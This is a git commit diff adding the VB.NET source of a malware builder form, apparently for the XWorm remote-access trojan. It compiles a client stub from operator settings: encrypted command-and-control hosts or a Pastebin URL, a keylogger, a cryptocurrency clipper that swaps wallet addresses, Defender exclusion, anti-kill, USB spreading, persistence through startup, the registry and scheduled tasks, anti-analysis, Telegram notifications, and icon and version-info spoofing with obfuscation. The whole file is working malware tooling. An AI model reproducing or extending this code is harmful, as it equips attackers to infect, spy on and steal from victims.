initial commit
This commit is contained in:
i2p
@@ -0,0 +1,806 @@
|
||||
Imports System.CodeDom.Compiler
|
||||
Imports System.IO
|
||||
Imports System.Security.Cryptography
|
||||
Imports System.Text
|
||||
Imports Microsoft.VisualBasic.CompilerServices
|
||||
|
||||
Public Class Builder
|
||||
|
||||
Public Sub New()
|
||||
InitializeComponent()
|
||||
Opacity = 0
|
||||
FadeIn(Me, 20)
|
||||
End Sub
|
||||
|
||||
Public iconpath As String
|
||||
Public assm As String
|
||||
|
||||
Public xform As Boolean = False
|
||||
Public xform2 As Boolean = False
|
||||
|
||||
Public Botid As String
|
||||
Public BotToken As String
|
||||
|
||||
Public BTC As String
|
||||
Public ETH As String
|
||||
Public TRC20 As String
|
||||
|
||||
Private Sub Builder_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||||
Try
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Assembly", Nothing) = Nothing Or My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Assembly", Nothing) = "False" Then
|
||||
assm = Nothing
|
||||
Guna2CheckBox1.Checked = False
|
||||
Else
|
||||
assm = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Assembly", Nothing)
|
||||
xform = True
|
||||
Guna2CheckBox1.Checked = True
|
||||
End If
|
||||
|
||||
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Icon", Nothing) = Nothing Or My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Icon", Nothing) = "False" Then
|
||||
iconpath = Nothing
|
||||
Guna2CheckBox2.Checked = False
|
||||
PictureBox1.Image = Nothing
|
||||
Else
|
||||
iconpath = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Icon", Nothing)
|
||||
xform2 = True
|
||||
Guna2CheckBox2.Checked = True
|
||||
PictureBox1.ImageLocation = (iconpath)
|
||||
End If
|
||||
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "InstallDir", Nothing) = Nothing Or My.Computer.Registry.GetValue(SettingsHelper.RegSave, "InstallDir", Nothing) = "False" Then
|
||||
Guna2ComboBox2.Enabled = False
|
||||
Guna2TextBox5.Enabled = False
|
||||
Guna2ComboBox2.SelectedIndex = 0
|
||||
Else
|
||||
Guna2ComboBox2.SelectedIndex = Convert.ToInt32(My.Computer.Registry.GetValue(SettingsHelper.RegSave, "InstallDir", Nothing))
|
||||
Guna2ComboBox2.Enabled = True
|
||||
Guna2TextBox5.Enabled = True
|
||||
End If
|
||||
|
||||
|
||||
|
||||
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "InstallStr", Nothing) = Nothing Then
|
||||
Guna2TextBox5.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "InstallStr", Nothing)
|
||||
End If
|
||||
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Clipper", Nothing) = Nothing Or My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Clipper", Nothing) = "False" Then
|
||||
Guna2ToggleSwitch6.Checked = False
|
||||
Else
|
||||
BTC = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "BTC", Nothing)
|
||||
ETH = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "ETH", Nothing)
|
||||
TRC20 = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "TRC20", Nothing)
|
||||
Guna2ToggleSwitch6.Checked = True
|
||||
End If
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Keylogger", Nothing) = "True" Then
|
||||
Guna2ToggleSwitch2.Checked = True
|
||||
|
||||
Else
|
||||
Guna2ToggleSwitch2.Checked = False
|
||||
End If
|
||||
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "AntiKill", Nothing) = "True" Then
|
||||
Guna2ToggleSwitch3.Checked = True
|
||||
|
||||
Else
|
||||
Guna2ToggleSwitch3.Checked = False
|
||||
End If
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "WDEX", Nothing) = "True" Then
|
||||
Guna2ToggleSwitch4.Checked = True
|
||||
|
||||
Else
|
||||
Guna2ToggleSwitch4.Checked = False
|
||||
End If
|
||||
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Obfuscator", Nothing) = "True" Then
|
||||
Guna2CheckBox4.Checked = True
|
||||
|
||||
Else
|
||||
Guna2CheckBox4.Checked = False
|
||||
End If
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Startup", Nothing) = "True" Then
|
||||
Guna2CheckBox6.Checked = True
|
||||
|
||||
Else
|
||||
Guna2CheckBox6.Checked = False
|
||||
End If
|
||||
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Reg", Nothing) = "True" Then
|
||||
Guna2CheckBox5.Checked = True
|
||||
Else
|
||||
Guna2CheckBox5.Checked = False
|
||||
End If
|
||||
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Task", Nothing) = "True" Then
|
||||
Guna2CheckBox7.Checked = True
|
||||
Else
|
||||
Guna2CheckBox7.Checked = False
|
||||
End If
|
||||
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Analysis", Nothing) = "True" Then
|
||||
Guna2ToggleSwitch1.Checked = True
|
||||
Else
|
||||
Guna2ToggleSwitch1.Checked = False
|
||||
End If
|
||||
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Hosts", Nothing) = Nothing Then
|
||||
ListBox1.Items.Add("127.0.0.1")
|
||||
Else
|
||||
Dim Hosts As String = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Hosts", Nothing)
|
||||
For Each SPL In Strings.Split(Hosts, ",")
|
||||
If Not String.IsNullOrEmpty(SPL) Then
|
||||
ListBox1.Items.Add(SPL)
|
||||
End If
|
||||
Next
|
||||
End If
|
||||
|
||||
|
||||
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Port", Nothing) = Nothing Then
|
||||
Guna2TextBox3.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Port", Nothing)
|
||||
End If
|
||||
|
||||
|
||||
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Key", Nothing) = Nothing Then
|
||||
Guna2TextBox1.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Key", Nothing)
|
||||
End If
|
||||
|
||||
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Group", Nothing) = Nothing Then
|
||||
Guna2TextBox7.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Group", Nothing)
|
||||
End If
|
||||
|
||||
|
||||
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Url", Nothing) = Nothing Then
|
||||
Guna2TextBox4.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Url", Nothing)
|
||||
End If
|
||||
|
||||
|
||||
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Sleep", Nothing) = Nothing Then
|
||||
Guna2NumericUpDown1.Value = Convert.ToInt32(My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Sleep", Nothing))
|
||||
End If
|
||||
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Pastebin", Nothing) = "True" Then
|
||||
|
||||
Guna2TextBox2.Enabled = False
|
||||
ListBox1.Enabled = False
|
||||
|
||||
Guna2TextBox3.Enabled = False
|
||||
Guna2CheckBox3.Checked = True
|
||||
Guna2TextBox4.Enabled = True
|
||||
Else
|
||||
Guna2TextBox2.Enabled = True
|
||||
ListBox1.Enabled = True
|
||||
|
||||
|
||||
Guna2TextBox3.Enabled = True
|
||||
|
||||
Guna2CheckBox3.Checked = False
|
||||
Guna2TextBox4.Enabled = False
|
||||
End If
|
||||
|
||||
|
||||
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "USBN", Nothing) = Nothing Then
|
||||
Guna2TextBox6.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "USBN", Nothing)
|
||||
End If
|
||||
|
||||
|
||||
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "USBE", Nothing) = "True" Then
|
||||
Guna2CheckBox8.Checked = True
|
||||
Guna2TextBox6.Enabled = True
|
||||
Else
|
||||
Guna2CheckBox8.Checked = False
|
||||
Guna2TextBox6.Enabled = False
|
||||
End If
|
||||
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Public Sub Compiler(ByVal Path As String, ByVal Code As String)
|
||||
Try
|
||||
Dim providerOptions = New Collections.Generic.Dictionary(Of String, String)
|
||||
providerOptions.Add("CompilerVersion", "v4.0")
|
||||
Dim CodeProvider As New Microsoft.VisualBasic.VBCodeProvider(providerOptions)
|
||||
Dim Parameters As New CompilerParameters
|
||||
Dim OP As String = " /target:winexe /platform:anycpu /nowarn"
|
||||
With Parameters
|
||||
.GenerateExecutable = True
|
||||
.OutputAssembly = Path
|
||||
.CompilerOptions = OP
|
||||
.IncludeDebugInformation = False
|
||||
.ReferencedAssemblies.Add("System.Windows.Forms.dll")
|
||||
.ReferencedAssemblies.Add("System.dll")
|
||||
.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll")
|
||||
.ReferencedAssemblies.Add("System.Management.dll")
|
||||
.ReferencedAssemblies.Add("System.Drawing.dll")
|
||||
.ReferencedAssemblies.Add("System.Core.dll")
|
||||
|
||||
Dim Results = CodeProvider.CompileAssemblyFromSource(Parameters, Code)
|
||||
If Results.Errors.Count > 0 Then
|
||||
For Each E In Results.Errors
|
||||
MsgBox(E.ErrorText, MsgBoxStyle.Critical)
|
||||
Exit Sub
|
||||
Next
|
||||
End If
|
||||
End With
|
||||
|
||||
If Guna2CheckBox2.Checked = True Then
|
||||
IconInjector.InjectIcon(Path, iconpath)
|
||||
End If
|
||||
|
||||
If Guna2CheckBox4.Checked = True Then
|
||||
Debug.WriteLine(SimpleObfuscator.Obfuscator.Save(IO.File.ReadAllBytes(Path), Path))
|
||||
End If
|
||||
|
||||
GC.Collect()
|
||||
|
||||
Dim myFile As New FileInfo(Path)
|
||||
|
||||
|
||||
Dim finalPath As String = Path
|
||||
|
||||
Hide()
|
||||
Catch ex As Exception
|
||||
MessageBox.Show(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Public Function Encrypt(ByVal input As String, ByVal Pass As String)
|
||||
Dim AES As New RijndaelManaged
|
||||
Dim Hash_AES As New MD5CryptoServiceProvider
|
||||
Dim encrypted As String = ""
|
||||
Dim hash(31) As Byte
|
||||
Dim temp As Byte() = Hash_AES.ComputeHash(SBUTF8(Pass))
|
||||
Array.Copy(temp, 0, hash, 0, 16)
|
||||
Array.Copy(temp, 0, hash, 15, 16)
|
||||
AES.Key = hash
|
||||
AES.Mode = CipherMode.ECB
|
||||
Dim DESEncrypter As ICryptoTransform = AES.CreateEncryptor
|
||||
Dim Buffer As Byte() = SBUTF8(input)
|
||||
encrypted = Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
|
||||
Return encrypted
|
||||
End Function
|
||||
Private Function SBUTF8(ByVal s As String) As Byte()
|
||||
Return System.Text.Encoding.UTF8.GetBytes(s)
|
||||
End Function
|
||||
|
||||
Private Sub Guna2CheckBox8_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox8.CheckedChanged
|
||||
If Guna2CheckBox8.Checked = True Then
|
||||
Guna2TextBox6.Enabled = True
|
||||
Else
|
||||
Guna2TextBox6.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2CheckBox2_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox2.CheckedChanged
|
||||
|
||||
If xform2 = True Then
|
||||
xform2 = False
|
||||
Return
|
||||
End If
|
||||
|
||||
If Guna2CheckBox2.Checked = True Then
|
||||
Dim OfD As New OpenFileDialog
|
||||
With OfD
|
||||
.Filter = "(*.exe;*.ico;)|*.exe;*.ico"
|
||||
.InitialDirectory = Application.StartupPath & "\Icons"
|
||||
If OfD.ShowDialog() = DialogResult.OK Then
|
||||
If OfD.FileName.EndsWith(".exe") Then
|
||||
iconpath = GetIcon(OfD.FileName)
|
||||
PictureBox1.ImageLocation = (iconpath)
|
||||
GC.Collect()
|
||||
Else
|
||||
iconpath = OfD.FileName
|
||||
PictureBox1.ImageLocation = (iconpath)
|
||||
End If
|
||||
|
||||
Else
|
||||
iconpath = Nothing
|
||||
PictureBox1.Image = Nothing
|
||||
Guna2CheckBox2.Checked = False
|
||||
End If
|
||||
|
||||
End With
|
||||
|
||||
|
||||
End If
|
||||
If Guna2CheckBox2.Checked = False Then
|
||||
iconpath = Nothing
|
||||
PictureBox1.Image = Nothing
|
||||
Guna2CheckBox2.Checked = False
|
||||
End If
|
||||
End Sub
|
||||
Private Sub Guna2CheckBox1_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox1.CheckedChanged
|
||||
|
||||
If xform = True Then
|
||||
xform = False
|
||||
Return
|
||||
End If
|
||||
|
||||
If Guna2CheckBox1.Checked = True Then
|
||||
Dim OfD As New OpenFileDialog
|
||||
With OfD
|
||||
.Filter = "(*.exe|*.exe"
|
||||
If OfD.ShowDialog() = DialogResult.OK Then
|
||||
assm = OfD.FileName
|
||||
Guna2CheckBox1.Checked = True
|
||||
Else
|
||||
assm = Nothing
|
||||
Guna2CheckBox1.Checked = False
|
||||
End If
|
||||
End With
|
||||
|
||||
|
||||
End If
|
||||
If Guna2CheckBox1.Checked = False Then
|
||||
assm = Nothing
|
||||
Guna2CheckBox1.Checked = False
|
||||
End If
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2CheckBox3_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox3.CheckedChanged
|
||||
If Guna2CheckBox3.Checked = True Then
|
||||
Guna2TextBox2.Enabled = False
|
||||
ListBox1.Enabled = False
|
||||
|
||||
Guna2TextBox3.Enabled = False
|
||||
|
||||
Guna2TextBox4.Enabled = True
|
||||
Else
|
||||
Guna2TextBox2.Enabled = True
|
||||
ListBox1.Enabled = True
|
||||
|
||||
Guna2TextBox3.Enabled = True
|
||||
|
||||
Guna2TextBox4.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2TextBox1_TextChanged(sender As Object, e As EventArgs) Handles Guna2TextBox1.TextChanged
|
||||
Try
|
||||
If Guna2TextBox1.Text.Length > 32 Or ((Guna2TextBox1.Text.Length) < 1) Then
|
||||
Guna2GradientButton1.Enabled = False
|
||||
Else
|
||||
Guna2GradientButton1.Enabled = True
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Guna2GradientButton1.Enabled = False
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2TextBox2_KeyDown(sender As Object, e As KeyEventArgs) Handles Guna2TextBox2.KeyDown
|
||||
Try
|
||||
If e.KeyCode = Keys.Enter Then
|
||||
e.SuppressKeyPress = True
|
||||
|
||||
If Not String.IsNullOrEmpty(Guna2TextBox2.Text) Then
|
||||
If Not ListBox1.Items.Contains(Guna2TextBox2.Text) OrElse String.IsNullOrEmpty(Guna2TextBox2.Text) Then
|
||||
ListBox1.Items.Add(Guna2TextBox2.Text)
|
||||
Guna2TextBox2.Clear()
|
||||
End If
|
||||
End If
|
||||
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2TextBox3_TextChanged(sender As Object, e As EventArgs) Handles Guna2TextBox3.TextChanged
|
||||
Try
|
||||
Dim num As Integer = Conversions.ToInteger(Guna2TextBox3.Text)
|
||||
If ((Conversions.ToInteger(Guna2TextBox3.Text) > &HFFFE) Or (Conversions.ToInteger(Guna2TextBox3.Text) < 1)) Then
|
||||
Guna2GradientButton1.Enabled = False
|
||||
Else
|
||||
Guna2GradientButton1.Enabled = True
|
||||
End If
|
||||
Catch exception1 As Exception
|
||||
Guna2GradientButton1.Enabled = False
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2CheckBox6_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox6.CheckedChanged
|
||||
If Guna2CheckBox6.Checked Or Guna2CheckBox5.Checked Or Guna2CheckBox7.Checked Then
|
||||
Guna2ComboBox2.Enabled = True
|
||||
Guna2TextBox5.Enabled = True
|
||||
Else
|
||||
Guna2ComboBox2.Enabled = False
|
||||
Guna2TextBox5.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2CheckBox5_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox5.CheckedChanged
|
||||
If Guna2CheckBox5.Checked Or Guna2CheckBox6.Checked Or Guna2CheckBox7.Checked Then
|
||||
Guna2ComboBox2.Enabled = True
|
||||
Guna2TextBox5.Enabled = True
|
||||
Else
|
||||
Guna2ComboBox2.Enabled = False
|
||||
Guna2TextBox5.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2CheckBox7_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox7.CheckedChanged
|
||||
If Guna2CheckBox7.Checked Or Guna2CheckBox6.Checked Or Guna2CheckBox5.Checked Then
|
||||
Guna2ComboBox2.Enabled = True
|
||||
Guna2TextBox5.Enabled = True
|
||||
Else
|
||||
Guna2ComboBox2.Enabled = False
|
||||
Guna2TextBox5.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
||||
|
||||
If ListBox1.Items.Count > 0 Or Guna2CheckBox3.Checked = True Then
|
||||
|
||||
Dim Str As String = ""
|
||||
|
||||
Try
|
||||
Dim saveFileDialog As SaveFileDialog = New SaveFileDialog With {
|
||||
.Filter = "(*.exe)|*.exe",
|
||||
.OverwritePrompt = False,
|
||||
.FileName = "XWormClient.exe"
|
||||
}
|
||||
|
||||
If saveFileDialog.ShowDialog() = DialogResult.OK Then
|
||||
Try
|
||||
|
||||
If ListBox1.Items.Count > 0 Then
|
||||
For Each Hosts In ListBox1.Items
|
||||
Str &= Hosts & ","
|
||||
Next
|
||||
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Hosts", Str)
|
||||
End If
|
||||
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Port", Guna2TextBox3.Text)
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Key", Guna2TextBox1.Text)
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Group", Guna2TextBox7.Text)
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "USBN", Guna2TextBox6.Text)
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Url", Guna2TextBox4.Text)
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Sleep", Guna2NumericUpDown1.Value.ToString)
|
||||
|
||||
If Guna2CheckBox6.Checked = True Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Startup", "True")
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Startup", "False")
|
||||
End If
|
||||
|
||||
|
||||
|
||||
If Guna2CheckBox5.Checked = True Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Reg", "True")
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Reg", "False")
|
||||
End If
|
||||
|
||||
|
||||
If Guna2CheckBox7.Checked = True Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Task", "True")
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Task", "False")
|
||||
End If
|
||||
|
||||
|
||||
|
||||
If Guna2CheckBox6.Checked Or Guna2CheckBox5.Checked Or Guna2CheckBox7.Checked Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "InstallDir", Guna2ComboBox2.SelectedIndex.ToString)
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "InstallDir", "False")
|
||||
End If
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "InstallStr", Guna2TextBox5.Text)
|
||||
|
||||
If Guna2ToggleSwitch1.Checked = True Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Analysis", "True")
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Analysis", "False")
|
||||
End If
|
||||
|
||||
If Guna2CheckBox8.Checked = True Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "USBE", "True")
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "USBE", "False")
|
||||
End If
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
If assm = Nothing Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Assembly", "False")
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Assembly", assm)
|
||||
End If
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
If iconpath = Nothing Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Icon", "False")
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Icon", iconpath)
|
||||
End If
|
||||
|
||||
|
||||
|
||||
If Guna2ToggleSwitch6.Checked Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Clipper", "True")
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "BTC", BTC)
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "ETH", ETH)
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "TRC20", TRC20)
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Clipper", "False")
|
||||
End If
|
||||
|
||||
|
||||
|
||||
If Guna2ToggleSwitch5.Checked Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "TBotNotify", "True")
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "BotToken", BotToken)
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Botid", Botid)
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "TBotNotify", "False")
|
||||
End If
|
||||
|
||||
|
||||
|
||||
|
||||
If Guna2CheckBox3.Checked = True Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Pastebin", "True")
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Pastebin", "False")
|
||||
End If
|
||||
|
||||
|
||||
If Guna2ToggleSwitch2.Checked = True Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Keylogger", "True")
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Keylogger", "False")
|
||||
End If
|
||||
|
||||
|
||||
If Guna2ToggleSwitch3.Checked = True Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "AntiKill", "True")
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "AntiKill", "False")
|
||||
End If
|
||||
|
||||
If Guna2ToggleSwitch4.Checked = True Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "WDEX", "True")
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "WDEX", "False")
|
||||
End If
|
||||
|
||||
|
||||
If Guna2CheckBox4.Checked = True Then
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Obfuscator", "True")
|
||||
Else
|
||||
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Obfuscator", "False")
|
||||
End If
|
||||
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
|
||||
|
||||
Dim Source = My.Resources.Stub
|
||||
Dim validchars As String = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
|
||||
Dim sb As New StringBuilder()
|
||||
Dim rand As New Random()
|
||||
For i As Integer = 1 To 16
|
||||
Dim idx As Integer = rand.Next(0, validchars.Length)
|
||||
Dim randomChar As Char = validchars(idx)
|
||||
sb.Append(randomChar)
|
||||
Next i
|
||||
|
||||
Dim randomString = sb.ToString()
|
||||
|
||||
Source = Source.Replace("%Mutex%", randomString)
|
||||
|
||||
Source = Source.Replace("%USB%", Encrypt(Guna2TextBox6.Text, randomString))
|
||||
|
||||
|
||||
If Guna2CheckBox3.Checked = True Then
|
||||
Source = Replace(Source, "#Const Pastebin = False", "#Const Pastebin = True")
|
||||
Source = Source.Replace("%PasteUrl%", Encrypt(Guna2TextBox4.Text, randomString))
|
||||
Else
|
||||
Source = Source.Replace("%Hosts%", Encrypt(Str.Trim().Substring(0, Str.Length - 1), randomString))
|
||||
Source = Source.Replace("%Port%", Encrypt(Guna2TextBox3.Text, randomString))
|
||||
End If
|
||||
|
||||
|
||||
Source = Source.Replace("%KEY%", Encrypt(Guna2TextBox1.Text, randomString))
|
||||
|
||||
Source = Source.Replace("%Group%", Encrypt(Guna2TextBox7.Text, randomString))
|
||||
|
||||
Source = Source.Replace("%SPL%", Encrypt("<XWormmm>", randomString))
|
||||
|
||||
Source = Source.Replace("%Sleep%", Guna2NumericUpDown1.Value.ToString)
|
||||
|
||||
|
||||
|
||||
|
||||
If Guna2CheckBox8.Checked = True Then
|
||||
Source = Replace(Source, "#Const USBLNK = False", "#Const USBLNK = True")
|
||||
End If
|
||||
|
||||
If Guna2CheckBox6.Checked = True Then
|
||||
Source = Replace(Source, "#Const Startup = False", "#Const Startup = True")
|
||||
End If
|
||||
|
||||
If Guna2CheckBox7.Checked = True Then
|
||||
Source = Replace(Source, "#Const Schtasks = False", "#Const Schtasks = True")
|
||||
End If
|
||||
|
||||
If Guna2CheckBox5.Checked = True Then
|
||||
Source = Replace(Source, "#Const RegAdd = False", "#Const RegAdd = True")
|
||||
End If
|
||||
|
||||
If Guna2ToggleSwitch1.Checked = True Then
|
||||
Source = Replace(Source, "#Const Analysis = False", "#Const Analysis = True")
|
||||
End If
|
||||
|
||||
|
||||
If Guna2CheckBox6.Checked Or Guna2CheckBox5.Checked Or Guna2CheckBox7.Checked Then
|
||||
Source = Replace(Source, "%Path%", Encrypt(Guna2ComboBox2.Text, randomString))
|
||||
Source = Replace(Source, "%Name%", Encrypt(Guna2TextBox5.Text, randomString))
|
||||
End If
|
||||
|
||||
|
||||
If Guna2ToggleSwitch6.Checked = True Then
|
||||
Source = Replace(Source, "#Const Clipper = False", "#Const Clipper = True")
|
||||
Source = Replace(Source, "%BTC%", Encrypt(BTC, randomString))
|
||||
Source = Replace(Source, "%ETH%", Encrypt(ETH, randomString))
|
||||
Source = Replace(Source, "%Trc20%", Encrypt(TRC20, randomString))
|
||||
End If
|
||||
|
||||
|
||||
If Guna2ToggleSwitch5.Checked = True Then
|
||||
Source = Replace(Source, "#Const TelegramBot = False", "#Const TelegramBot = True")
|
||||
Source = Replace(Source, "%Token%", Encrypt(BotToken, randomString))
|
||||
Source = Replace(Source, "%ChatID%", Encrypt(Botid, randomString))
|
||||
End If
|
||||
|
||||
|
||||
|
||||
|
||||
If Guna2ToggleSwitch2.Checked = True Then
|
||||
Source = Replace(Source, "#Const Logger = False", "#Const Logger = True")
|
||||
End If
|
||||
|
||||
|
||||
|
||||
If Guna2ToggleSwitch3.Checked = True Then
|
||||
Source = Replace(Source, "#Const BDOS = False", "#Const BDOS = True")
|
||||
End If
|
||||
|
||||
|
||||
If Guna2ToggleSwitch4.Checked = True Then
|
||||
Source = Replace(Source, "#Const WDEX = False", "#Const WDEX = True")
|
||||
End If
|
||||
|
||||
|
||||
|
||||
|
||||
If Guna2CheckBox1.Checked Then
|
||||
Dim info As FileVersionInfo = FileVersionInfo.GetVersionInfo(assm)
|
||||
|
||||
|
||||
Source = Replace(Source, "%Title%", info.FileDescription)
|
||||
Source = Replace(Source, "%Des%", info.Comments)
|
||||
Source = Replace(Source, "%Company%", info.CompanyName)
|
||||
Source = Replace(Source, "%Product%", info.ProductName)
|
||||
Source = Replace(Source, "%Copyright%", info.LegalCopyright)
|
||||
Source = Replace(Source, "%Trademark%", info.LegalTrademarks)
|
||||
Source = Replace(Source, "%Guid%", Guid.NewGuid.ToString)
|
||||
|
||||
|
||||
Source = Source.Replace("%v1%", info.FileMajorPart.ToString())
|
||||
Source = Source.Replace("%v2%", info.FileMinorPart.ToString())
|
||||
Source = Source.Replace("%v3%", info.FileBuildPart.ToString())
|
||||
Source = Source.Replace("%v4%", info.FilePrivatePart.ToString())
|
||||
|
||||
Else
|
||||
|
||||
Source = Replace(Source, "%Title%", Nothing)
|
||||
Source = Replace(Source, "%Des%", Nothing)
|
||||
Source = Replace(Source, "%Company%", Nothing)
|
||||
Source = Replace(Source, "%Product%", Nothing)
|
||||
Source = Replace(Source, "%Copyright%", Nothing)
|
||||
Source = Replace(Source, "%Trademark%", Nothing)
|
||||
Source = Replace(Source, "%Guid%", Guid.NewGuid.ToString)
|
||||
|
||||
|
||||
Source = Source.Replace("%v1%", 1)
|
||||
Source = Source.Replace("%v2%", 0)
|
||||
Source = Source.Replace("%v3%", 0)
|
||||
Source = Source.Replace("%v4%", 0)
|
||||
End If
|
||||
|
||||
Compiler(saveFileDialog.FileName, Source)
|
||||
End If
|
||||
Catch ex As Exception
|
||||
End Try
|
||||
End If
|
||||
End Sub
|
||||
|
||||
